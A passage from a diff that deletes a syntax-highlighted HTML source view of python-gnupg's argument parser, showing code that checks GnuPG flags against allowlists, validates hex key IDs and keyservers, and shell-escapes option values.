following the</span> -<span class="sd"> GnuPG option or flag. For example, if we wanted to</span> -<span class="sd"> pass ``"--encrypt --recipient isis@leap.se"`` to</span> -<span class="sd"> GnuPG, then ``"--encrypt"`` would be an arg without a</span> -<span class="sd"> value, and ``"--recipient"`` would also be an arg,</span> -<span class="sd"> with a value of ``"isis@leap.se"``.</span> - -<span class="sd"> :ivar list checked: The sanitised, allowed options and values.</span> -<span class="sd"> :rtype: str</span> -<span class="sd"> :returns: A string of the items in ``checked``, delimited by spaces.</span> -<span class="sd"> """</span> - <span class="n">checked</span> <span class="o">=</span> <span class="nb">str</span><span class="p">()</span> - <span class="n">none_options</span> <span class="o">=</span> <span class="n">_get_options_group</span><span class="p">(</span><span class="s">"none_options"</span><span class="p">)</span> - <span class="n">hex_options</span> <span class="o">=</span> <span class="n">_get_options_group</span><span class="p">(</span><span class="s">"hex_options"</span><span class="p">)</span> - <span class="n">hex_or_none_options</span> <span class="o">=</span> <span class="n">_get_options_group</span><span class="p">(</span><span class="s">"hex_or_none_options"</span><span class="p">)</span> - - <span class="k">if</span> <span class="ow">not</span> <span class="n">_util</span><span class="o">.</span><span class="n">_py3k</span><span class="p">:</span> - <span class="k">if</span> <span class="ow">not</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">arg</span><span class="p">,</span> <span class="nb">list</span><span class="p">)</span> <span class="ow">and</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">arg</span><span class="p">,</span> <span class="nb">unicode</span><span class="p">):</span> - <span class="n">arg</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">arg</span><span class="p">)</span> - - <span class="k">try</span><span class="p">:</span> - <span class="n">flag</span> <span class="o">=</span> <span class="n">_is_allowed</span><span class="p">(</span><span class="n">arg</span><span class="p">)</span> - <span class="k">assert</span> <span class="n">flag</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span><span class="p">,</span> <span class="s">"_check_option(): got None for flag"</span> - <span class="k">except</span> <span class="p">(</span><span class="ne">AssertionError</span><span class="p">,</span> <span class="n">ProtectedOption</span><span class="p">)</span> <span class="k">as</span> <span class="n">error</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">warn</span><span class="p">(</span><span class="s">"_check_option(): </span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="nb">str</span><span class="p">(</span><span class="n">error</span><span class="p">))</span> - <span class="k">else</span><span class="p">:</span> - <span class="n">checked</span> <span class="o">+=</span> <span class="p">(</span><span class="n">flag</span> <span class="o">+</span> <span class="s">' '</span><span class="p">)</span> - - <span class="k">if</span> <span class="n">_is_string</span><span class="p">(</span><span class="n">value</span><span class="p">):</span> - <span class="n">values</span> <span class="o">=</span> <span class="n">value</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">' '</span><span class="p">)</span> - <span class="k">for</span> <span class="n">v</span> <span class="ow">in</span> <span class="n">values</span><span class="p">:</span> - <span class="c">## these can be handled separately, without _fix_unsafe(),</span> - <span class="c">## because they are only allowed if they pass the regex</span> - <span class="k">if</span> <span class="p">(</span><span class="n">flag</span> <span class="ow">in</span> <span class="n">none_options</span><span class="p">)</span> <span class="ow">and</span> <span class="p">(</span><span class="n">v</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">):</span> - <span class="k">continue</span> - - <span class="k">if</span> <span class="n">flag</span> <span class="ow">in</span> <span class="n">hex_options</span><span class="p">:</span> - <span class="k">if</span> <span class="n">_is_hex</span><span class="p">(</span><span class="n">v</span><span class="p">):</span> <span class="n">checked</span> <span class="o">+=</span> <span class="p">(</span><span class="n">v</span> <span class="o">+</span> <span class="s">" "</span><span class="p">)</span> - <span class="k">else</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"'</span><span class="si">%s</span><span class="s"> </span><span class="si">%s</span><span class="s">' not hex."</span> <span class="o">%</span> <span class="p">(</span><span class="n">flag</span><span class="p">,</span> <span class="n">v</span><span class="p">))</span> - <span class="k">if</span> <span class="p">(</span><span class="n">flag</span> <span class="ow">in</span> <span class="n">hex_or_none_options</span><span class="p">)</span> <span class="ow">and</span> <span class="p">(</span><span class="n">v</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">):</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Allowing '</span><span class="si">%s</span><span class="s">' for all keys"</span> <span class="o">%</span> <span class="n">flag</span><span class="p">)</span> - <span class="k">continue</span> - - <span class="k">elif</span> <span class="n">flag</span> <span class="ow">in</span> <span class="p">[</span><span class="s">'--keyserver'</span><span class="p">]:</span> - <span class="n">host</span> <span class="o">=</span> <span class="n">_check_keyserver</span><span class="p">(</span><span class="n">v</span><span class="p">)</span> - <span class="k">if</span> <span class="n">host</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Setting keyserver: </span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="n">host</span><span class="p">)</span> - <span class="n">checked</span> <span class="o">+=</span> <span class="p">(</span><span class="n">v</span> <span class="o">+</span> <span class="s">" "</span><span class="p">)</span> - <span class="k">else</span><span class="p">:</span> <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Dropping keyserver: </span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="n">v</span><span class="p">)</span> - <span class="k">continue</span> - - <span class="c">## the rest are strings, filenames, etc, and should be</span> - <span class="c">## shell escaped:</span> - <span class="n">val</span> <span class="o">=</span> <span class="n">_fix_unsafe</span><span class="p">(</span><span class="n">v</span><span class="p">)</span> - <span class="k">try</span><span class="p">:</span> - <span class="k">assert</span> <span class="ow">not</span> <span class="n">val</span> <span class="ow">is</span> <span class="bp">None</span> - <span class="k">assert</span> <span class="ow">not</span> <span class="n">val</span><span class="o">.</span><span class="n">isspace</span><span class="p">()</span> - <span class="k">assert</span> <span class="ow">not</span> <span class="n">v</span> <span class="ow">is</span> <span class="bp">None</span> - <span class="k">assert</span> <span class="ow">not</span> <span class="n">v</span><span class="o">.</span><span class="n">isspace</span><span class="p">()</span> - <span class="k">except</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Dropping </span><span class="si">%s</span><span class="s"> </span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="p">(</span><span class="n">flag</span><span class="p">,</span> <span class="n">v</span><span class="p">))</span> - <span class="k">continue</span> - - <span class="k">if</span> <span class="n">flag</span> <span class="ow">in</span> <span class="p">[</span><span class="s">'--encrypt'</span><span class="p">,</span> <span class="s">'--encrypt-files'</span><span class="p">,</span> <span class="s">'--decrypt'</span><span class="p">,</span> - <span class="s">'--decrypt-files'</span><span class="p">,</span> <span class="s">'--import'</span><span class="p">,</span> <span class="s">'--verify'</span><span class="p">]:</span> - <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="n">_util</span><span class="o">.</span><span class="n">_is_file</span><span class="p">(</span><span class="n">val</span><span class="p">))</span> - <span class="ow">or</span> - <span class="p">((</span><span class="n">flag</span> <span class="o">==</span> <span class="s">'--verify'</span><span class="p">)</span> <span class="ow">and</span> <span class="p">(</span><span class="n">val</span> <span class="o">==</span> <span class="s">'-'</span><span class="p">))</span> <span class="p">):</span> - <span class="n">checked</span> <span class="o">+=</span> <span class="p">(</span><span class="n">val</span> <span class="o">+</span> <span class="s">" "</span><span class="p">)</span> - <span class="k">else</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"</span><span class="si">%s</span><span class="s"> not file: </span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="p">(</span><span class="n">flag</span><span class="p">,</span> <span class="n">val</span><span class="p">))</span> - - <span class="k">elif</span> <span class="n">flag</span> <span class="ow">in</span> <span class="p">[</span><span class="s">'--cipher-algo'</span><span class="p">,</span> <span class="s">'--personal-cipher-prefs'</span><span class="p">,</span> - <span class="s">'--personal-cipher-preferences'</span><span class="p">]:</span> - <span class="n">legit_algos</span> <span class="o">=</span> <span class="n">_check_preferences</span><span class="p">(</span><span class="n">val</span><span class="p">,</span> <span class="s">'cipher'</span><span class="p">)</span> - <span class="k">if</span> <span class="n">legit_algos</span><span class="p">:</span> <span class="n">checked</span> <span class="o">+=</span> <span class="p">(</span><span class="n">legit_algos</span> <span class="o">+</span> <span class="s">" "</span><span class="p">)</span> - <span class="k">else</span><span class="p">:</span> <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"'</span><span class="si">%s</span><span class="s">' is not cipher"</span> <span class="o">%</span> <span class="n">val</span><span class="p">)</span> - - <span class="k">elif</span> <span class="n">flag</span> <span class="ow">in</span> <span class="p">[</span><span class="s">'--compress-algo'</span><span class="p">,</span> <span class="s">'--compression-algo'</span><span class="p">,</span> - <span class="s">'--personal-compress-prefs'</span><span class="p">,</span> - <span class="s">'--personal-compress-preferences'</span><span class="p">]:</span> - <span class="n">legit_algos</span> <span class="o">=</span> <span class="n">_check_preferences</span><span class="p">(</span><span class="n">val</span><span class="p">,</span> <span class="s">'compress'</span><span class="p">)</span> - <span class="k">if</span> <span class="n">legit_algos</span><span class="p">:</span> <span class="n">checked</span> <span class="o">+=</span> <span class="p">(</span><span class="n">legit_algos</span> <span class="o">+</span> <span class="s">" "</span><span class="p">)</span> - <span class="k">else</span><span class="p">:</span> <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"'</span><span class="si">%s</span><span class="s">' not compress algo"</span> <span class="o">%</span> <span class="n">val</span><span class="p">)</span> - - <span class="k">else</span><span class="p">:</span> - <span class="n">checked</span> <span class="o">+=</span> <span class="p">(</span><span class="n">val</span> <span class="o">+</span> <span class="s">" "</span><span class="p">)</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"_check_option(): No checks for </span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="n">val</span><span class="p">)</span> - - <span class="k">return</span> <span class="n">checked</span> - - <span class="n">is_flag</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">x</span><span class="p">:</span> <span class="n">x</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s">'--'</span><span class="p">)</span> - - <span class="k">def</span> <span class="nf">_make_filo</span><span class="p">(</span><span class="n">args_string</span><span class="p">):</span> - <span class="n">filo</span> <span class="o">=</span> <span class="n">arg</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">' '</span><span class="p">)</span> - <span class="n">filo</span><span class="o">.</span><span class="n">reverse</span><span class="p">()</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"_make_filo(): Converted to reverse list: </span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="n">filo</span><span class="p">)</span> - <span class="k">return</span> <span class="n">filo</span> - - <span class="k">def</span> <span class="nf">_make_groups</span><span class="p">(</span><span class="n">filo</span><span class="p">):</span> - <span class="n">groups</span> <span class="o">=</span> <span class="p">{}</span> - <span class="k">while</span> <span class="nb">len</span><span class="p">(</span><span class="n">filo</span><span class="p">)</span> <span class="o">>=</span> <span class="mi">1</span><span class="p">:</span> - <span class="n">last</span> <span class="o">=</span> <span class="n">filo</span><span class="o">.</span><span class="n">pop</span><span class="p">()</span> - <span class="k">if</span> <span class="n">is_flag</span><span class="p">(</span><span class="n">last</span><span class="p">):</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Got arg: </span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="n">last</span><span class="p">)</span> - <span class="k">if</span> <span class="n">last</span> <span class="o">==</span> <span class="s">'--verify'</span><span class="p">:</span> - <span class="n">groups</span><span class="p">[</span><span class="n">last</span><span class="p">]</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">filo</span><span class="o">.</span><span class="n">pop</span><span class="p">())</span> - <span class="c">## accept the read-from-stdin arg:</span> - <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">filo</span><span class="p">)</span> <span class="o">>=</span> <span class="mi">1</span> <span class="ow">and</span> <span class="n">filo</span><span class="p">[</span><span class="nb">len</span><span class="p">(</span><span class="n">filo</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="s">'-'</span><span class="p">:</span> - <span class="n">groups</span><span class="p">[</span><span class="n">last</span><span class="p">]</span> <span class="o">+=</span> <span class="nb">str</span><span class="p">(</span><span class="s">' - '</span><span class="p">)</span> <span class="c">## gross hack</span> - <span class="n">filo</span><span class="o">.</span><span class="n">pop</span><span class="p">()</span> - <span class="k">else</span><span class="p">:</span> - <span class="n">groups</span><span class="p">[</span><span class="n">last</span><span class="p">]</span> <span class="o">=</span> <span class="nb">str</span><span class="p">()</span> - <span class="k">while</span> <span class="nb">len</span><span class="p">(</span><span class="n">filo</span><span class="p">)</span> <span class="o">></span> <span class="mi">1</span> <span class="ow">and</span> <span class="ow">not</span> <span class="n">is_flag</span><span class="p">(</span><span class="n">filo</span><span class="p">[</span><span class="nb">len</span><span class="p">(</span><span class="n">filo</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">]):</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Got value: </span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="n">filo</span><span class="p">[</span><span class="nb">len</span><span class="p">(</span><span class="n">filo</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span> - <span class="n">groups</span><span class="p">[</span><span class="n">last</span><span class="p">]</span> <span class="o">+=</span> <span class="p">(</span><span class="n">filo</span><span class="o">.</span><span class="n">pop</span><span class="p">()</span> <span class="o">+</span> <span class="s">" "</span><span class="p">)</span> - <span class="k">else</span><span class="p">:</span> - <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">filo</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span> <span class="ow">and</span> <span class="ow">not</span> <span class="n">is_flag</span><span class="p">(</span><span class="n">filo</span><span class="p">[</span><span class="mi">0</span><span class="p">]):</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Got value: </span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="n">filo</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> - <span class="n">groups</span><span class="p">[</span><span class="n">last</span><span class="p">]</span> <span class="o">+=</span> <span class="n">filo</span><span class="o">.</span><span class="n">pop</span><span class="p">()</span> - <span class="k">else</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">warn</span><span class="p">(</span><span class="s">"_make_groups(): Got solitary value: </span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="n">last</span><span class="p">)</span> - <span class="n">groups</span><span class="p">[</span><span class="s">"xxx"</span><span class="p">]</span> <span class="o">=</span> <span class="n">last</span> - <span class="k">return</span> <span class="n">groups</span> - - <span class="k">def</span> <span class="nf">_check_groups</span><span class="p">(</span><span class="n">groups</span><span class="p">):</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Got groups: </span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="n">groups</span><span class="p">)</span> - <span class="n">checked_groups</span> <span class="o">=</span> <span class="p">[]</span> - <span class="k">for</span> <span class="n">a</span><span class="p">,</span><span class="n">v</span> <span class="ow">in</span> <span class="n">groups</span><span class="o">.</span><span class="n">items</span><span class="p">():</span> - <span class="n">v</span> <span class="o">=</span> <span class="bp">None</span> <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">v</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span> <span class="k">else</span> <span class="n">v</span> - <span class="n">safe</span> <span class="o">=</span> <span class="n">_check_option</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">v</span><span class="p">)</span> - <span class="k">if</span> <span class="n">safe</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span> <span class="ow">and</span> <span class="ow">not</span> <span class="n">safe</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span> <span class="o">==</span> <span class="s">""</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Appending option: </span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="n">safe</span><span class="p">)</span> - <span class="n">checked_groups</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">safe</span><span class="p">)</span> - <span class="k">else</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">warn</span><span class="p">(</span><span class="s">"Dropped option: '</span><span class="si">%s</span><span class="s"> </span><span class="si">%s</span><span class="s">'"</span> <span class="o">%</span> <span class="p">(</span><span class="n">a</span><span class="p">,</span><span class="n">v</span><span class="p">))</span> - <span class="k">return</span> <span class="n">checked_groups</span> - - <span class="k">if</span> <span class="n">args</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span><span class="p">:</span> - <span class="n">option_groups</span> <span class="o">=</span> <span class="p">{}</span> - <span class="k">for</span> <span class="n">arg</span> <span class="ow">in</span> <span class="n">args</span><span class="p">:</span> - <span class="c">## if we're given a string with a bunch of options in it split</span> - <span class="c">## them up and deal with them separately</span> - <span class="k">if</span> <span class="p">(</span><span class="ow">not</span> <span class="n">_util</span><span class="o">.</span><span class="n">_py3k</span> <span class="ow">and</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">arg</span><span class="p">,</span> <span class="nb">basestring</span><span class="p">))</span> \ - <span class="ow">or</span> <span class="p">(</span><span class="n">_util</span><span class="o">.</span><span class="n">_py3k</span> <span class="ow">and</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">arg</span><span class="p">,</span> <span class="nb">str</span><span class="p">)):</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Got arg string: </span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="n">arg</span><span class="p">)</span> - <span class="k">if</span> <span class="n">arg</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="s">' '</span><span class="p">)</span> <span class="o">></span> <span class="mi">0</span><span class="p">:</span> - <span class="n">filo</span> <span class="o">=</span> <span class="n">_make_filo</span><span class="p">(</span><span class="n">arg</span><span class="p">)</span> - <span class="n">option_groups</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">_make_groups</span><span class="p">(</span><span class="n">filo</span><span class="p">))</span> - <span class="k">else</span><span class="p">:</span> - <span class="n">option_groups</span><span class="o">.</span><span class="n">update</span><span class="p">({</span> <span class="n">arg</span><span class="p">:</span> <span class="s">""</span> <span class="p">})</span> - <span class="k">elif</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">arg</span><span class="p">,</span> <span class="nb">list</span><span class="p">):</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Got arg list: </span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="n">arg</span><span class="p">)</span> - <span class="n">arg</span><span class="o">.</span><span class="n">reverse</span><span class="p">()</span> - <span class="n">option_groups</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">_make_groups</span><span class="p">(</span><span class="n">arg</span><span class="p">))</span> - <span class="k">else</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">warn</span><span class="p">(</span><span class="s">"Got non-str/list arg: '</span><span class="si">%s</span><span class="s">', type '</span><span class="si">%s</span><span class="s">'"</span> - <span class="o">%</span> <span class="p">(</span><span class="n">arg</span><span class="p">,</span> <span class="nb">type</span><span class="p">(</span><span class="n">arg</span><span class="p">)))</span> - <span class="n">checked</span> <span class="o">=</span> <span class="n">_check_groups</span><span class="p">(</span><span class="n">option_groups</span><span class="p">)</span> - <span class="n">sanitised</span> <span class="o">=</span> <span class="s">' '</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">x</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">checked</span><span class="p">)</span> - <span class="k">return</span> <span class="n">sanitised</span> - <span class="k">else</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Got None for args"</span><span class="p">)</span> -</div> -<div class="viewcode-block" id="_sanitise_list"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers._sanitise_list">[docs]</a><span class="k">def</span> <span class="nf">_sanitise_list</span><span class="p">(</span><span class="n">arg_list</span><span class="p">):</span> - <span class="sd">"""A generator for iterating through a list of gpg options and sanitising</span> -<span class="sd"> them.</span> - -<span class="sd"> :param list arg_list: A list of options and flags for GnuPG.</span> -<span class="sd"> :rtype: generator</span> -<span class="sd"> :returns: A generator whose next() method returns each of the items in</span> -<span class="sd"> ``arg_list`` after calling ``_sanitise()`` with that item as a</span> -<span class="sd"> parameter.</span> -<span class="sd"> """</span> - <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">arg_list</span><span class="p">,</span> <span class="nb">list</span><span class="p">):</span> - <span class="k">for</span> <span class="n">arg</span> <span class="ow">in</span> <span class="n">arg_list</span><span class="p">:</span> - <span class="n">safe_arg</span> <span class="o">=</span> <span class="n">_sanitise</span><span class="p">(</span><span class="n">arg</span><span class="p">)</span> - <span class="k">if</span> <span class="n">safe_arg</span> <span class="o">!=</span> <span class="s">""</span><span class="p">:</span> - <span class="k">yield</span> <span class="n">safe_arg</span> -</div> -<div class="viewcode-block" id="_get_options_group"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers._get_options_group">[docs]</a><span class="k">def</span> <span class="nf">_get_options_group</span><span class="p">(</span><span class="n">group</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span> - <span class="sd">"""Get a specific group of options which are allowed."""</span> - - <span class="c">#: These expect a hexidecimal keyid as their argument, and can be parsed</span> - <span class="c">#: with :func:`_is_hex`.</span> - <span class="n">hex_options</span> <span class="o">=</span> <span class="nb">frozenset</span><span class="p">([</span><span class="s">'--check-sigs'</span><span class="p">,</span> - <span class="s">'--default-key'</span><span class="p">,</span> - <span class="s">'--default-recipient'</span><span class="p">,</span> - <span class="s">'--delete-keys'</span><span class="p">,</span> - <span class="s">'--delete-secret-keys'</span><span class="p">,</span> - <span class="s">'--delete-secret-and-public-keys'</span><span class="p">,</span> - <span class="s">'--desig-revoke'</span><span class="p">,</span> - <span class="s">'--export'</span><span class="p">,</span> - <span class="s">'--export-secret-keys'</span><span class="p">,</span> - <span class="s">'--export-secret-subkeys'</span><span class="p">,</span> - <span class="s">'--fingerprint'</span><span class="p">,</span> - <span class="s">'--gen-revoke'</span><span class="p">,</span> - <span class="s">'--list-key'</span><span class="p">,</span> - <span class="s">'--list-keys'</span><span class="p">,</span> - <span class="s">'--list-public-keys'</span><span class="p">,</span> - <span class="s">'--list-secret-keys'</span><span class="p">,</span> - <span class="s">'--list-sigs'</span><span class="p">,</span> - <span class="s">'--recipient'</span><span class="p">,</span> - <span class="s">'--recv-keys'</span><span class="p">,</span> - <span class="s">'--send-keys'</span><span class="p">,</span> - <span class="p">])</span> - <span class="c">#: These options expect value which are left unchecked, though still run</span> - <span class="c">#: through :func:`_fix_unsafe`.</span> - <span class="n">unchecked_options</span> <span class="o">=</span> <span class="nb">frozenset</span><span class="p">([</span><span class="s">'--list-options'</span><span class="p">,</span> - <span class="s">'--passphrase-fd'</span><span class="p">,</span> - <span class="s">'--status-fd'</span><span class="p">,</span> - <span class="s">'--verify-options'</span><span class="p">,</span> - <span class="p">])</span> - <span class="c">#: These have their own parsers and don't really fit into a group</span> - <span class="n">other_options</span> <span class="o">=</span> <span class="nb">frozenset</span><span class="p">([</span><span class="s">'--debug-level'</span><span class="p">,</span> - <span class="s">'--keyserver'</span><span class="p">,</span> - - <span class="p">])</span> - <span class="c">#: These should have a directory for an argument</span> - <span class="n">dir_options</span> <span class="o">=</span> <span class="nb">frozenset</span><span class="p">([</span><span class="s">'--homedir'</span><span class="p">,</span> - <span class="p">])</span> - <span class="c">#: These expect a keyring or keyfile as their argument</span> - <span class="n">keyring_options</span> <span class="o">=</span> <span class="nb">frozenset</span><span class="p">([</span><span class="s">'--keyring'</span><span class="p">,</span> - <span class="s">'--primary-keyring'</span><span class="p">,</span> - <span class="s">'--secret-keyring'</span><span class="p">,</span> - <span class="s">'--trustdb-name'</span><span class="p">,</span> - <span class="p">])</span> - <span class="c">#: These expect a filename (or the contents of a file as a string) or None</span> - <span class="c">#: (meaning that they read from stdin)</span> - <span class="n">file_or_none_options</span> <span class="o">=</span> <span class="nb">frozenset</span><span class="p">([</span><span class="s">'--decrypt'</span><span class="p">,</span> - <span class="s">'--decrypt-files'</span><span class="p">,</span> - <span class="s">'--encrypt'</span><span class="p">,</span> - <span class="s">'--encrypt-files'</span><span class="p">,</span> - <span class="s">'--import'</span><span class="p">,</span> - <span class="s">'--verify'</span><span class="p">,</span> - <span class="s">'--verify-files'</span><span class="p">,</span> - <span class="p">])</span> - <span class="c">#: These options expect a string. see :func:`_check_preferences`.</span> - <span class="n">pref_options</span> <span class="o">=</span> <span class="nb">frozenset</span><span class="p">([</span><span class="s">'--digest-algo'</span><span class="p">,</span> - <span class="s">'--cipher-algo'</span><span class="p">,</span> - <span class="s">'--compress-algo'</span><span class="p">,</span> - <span class="s">'--compression-algo'</span><span class="p">,</span> - <span class="s">'--cert-digest-algo'</span><span class="p">,</span> - <span class="s">'--personal-digest-prefs'</span><span class="p">,</span> - <span class="s">'--personal-digest-preferences'</span><span class="p">,</span> - <span class="s">'--personal-cipher-prefs'</span><span class="p">,</span> - <span class="s">'--personal-cipher-preferences'</span><span class="p">,</span> - <span class="s">'--personal-compress-prefs'</span><span class="p">,</span> - <span class="s">'--personal-compress-preferences'</span><span class="p">,</span> - <span class="s">'--print-md'</span><span class="p">,</span> - <span class="p">])</span> - <span class="c">#: These options expect no arguments</span> - <span class="n">none_options</span> <span class="o">=</span> <span class="nb">frozenset</span><span class="p">([</span><span class="s">'--always-trust'</span><span class="p">,</span> - <span class="s">'--armor'</span><span class="p">,</span> - <span class="s">'--armour'</span><span class="p">,</span> - <span class="s">'--batch'</span><span class="p">,</span> - <span class="s">'--check-sigs'</span><span class="p">,</span> - <span class="s">'--check-trustdb'</span><span class="p">,</span> - <span class="s">'--clearsign'</span><span class="p">,</span> - <span class="s">'--debug-all'</span><span class="p">,</span> - <span class="s">'--default-recipient-self'</span><span class="p">,</span> - <span class="s">'--detach-sign'</span><span class="p">,</span> - <span class="s">'--export'</span><span class="p">,</span> - <span class="s">'--export-ownertrust'</span><span class="p">,</span> - <span class="s">'--export-secret-keys'</span><span class="p">,</span> - <span class="s">'--export-secret-subkeys'</span><span class="p">,</span> - <span class="s">'--fingerprint'</span><span class="p">,</span> - <span class="s">'--fixed-list-mode'</span><span class="p">,</span> - <span class="s">'--gen-key'</span><span class="p">,</span> - <span class="s">'--import-ownertrust'</span><span class="p">,</span> - <span class="s">'--list-config'</span><span class="p">,</span> - <span class="s">'--list-key'</span><span class="p">,</span> - <span class="s">'--list-keys'</span><span class="p">,</span> - <span class="s">'--list-packets'</span><span class="p">,</span> - <span class="s">'--list-public-keys'</span><span class="p">,</span> - <span class="s">'--list-secret-keys'</span><span class="p">,</span> - <span class="s">'--list-sigs'</span><span class="p">,</span> - <span class="s">'--no-default-keyring'</span><span class="p">,</span> - <span class="s">'--no-default-recipient'</span><span class="p">,</span> - <span class="s">'--no-emit-version'</span><span class="p">,</span> - <span class="s">'--no-options'</span><span class="p">,</span> - <span class="s">'--no-tty'</span><span class="p">,</span> - <span class="s">'--no-use-agent'</span><span class="p">,</span> - <span class="s">'--no-verbose'</span><span class="p">,</span> - <span class="s">'--print-mds'</span><span class="p">,</span> - <span class="s">'--quiet'</span><span class="p">,</span> - <span class="s">'--sign'</span><span class="p">,</span> - <span class="s">'--symmetric'</span><span class="p">,</span> - <span class="s">'--use-agent'</span><span class="p">,</span> - <span class="s">'--verbose'</span><span class="p">,</span> - <span class="s">'--version'</span><span class="p">,</span> - <span class="s">'--with-colons'</span><span class="p">,</span> - <span class="s">'--yes'</span><span class="p">,</span> - <span class="p">])</span> - <span class="c">#: These options expect either None or a hex string</span> - <span class="n">hex_or_none_options</span> <span class="o">=</span> <span class="n">hex_options</span><span class="o">.</span><span class="n">intersection</span><span class="p">(</span><span class="n">none_options</span><span class="p">)</span> - <span class="n">allowed</span> <span class="o">=</span> <span class="n">hex_options</span><span class="o">.</span><span class="n">union</span><span class="p">(</span><span class="n">unchecked_options</span><span class="p">,</span> <span class="n">other_options</span><span class="p">,</span> <span class="n">dir_options</span><span class="p">,</span> - <span class="n">keyring_options</span><span class="p">,</span> <span class="n">file_or_none_options</span><span class="p">,</span> - <span class="n">pref_options</span><span class="p">,</span> <span class="n">none_options</span><span class="p">)</span> - - <span class="k">if</span> <span class="n">group</span> <span class="ow">and</span> <span class="n">group</span> <span class="ow">in</span> <span class="nb">locals</span><span class="p">()</span><span class="o">.</span><span class="n">keys</span><span class="p">():</span> - <span class="k">return</span> <span class="nb">locals</span><span class="p">()[</span><span class="n">group</span><span class="p">]</span> -</div> -<div class="viewcode-block" id="_get_all_gnupg_options"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers._get_all_gnupg_options">[docs]</a><span class="k">def</span> <span class="nf">_get_all_gnupg_options</span><span class="p">():</span> - <span class="sd">"""Get all GnuPG options and flags.</span> - -<span class="sd"> This is hardcoded within a local scope to reduce the chance of a tampered</span> -<span class="sd"> GnuPG binary reporting falsified option 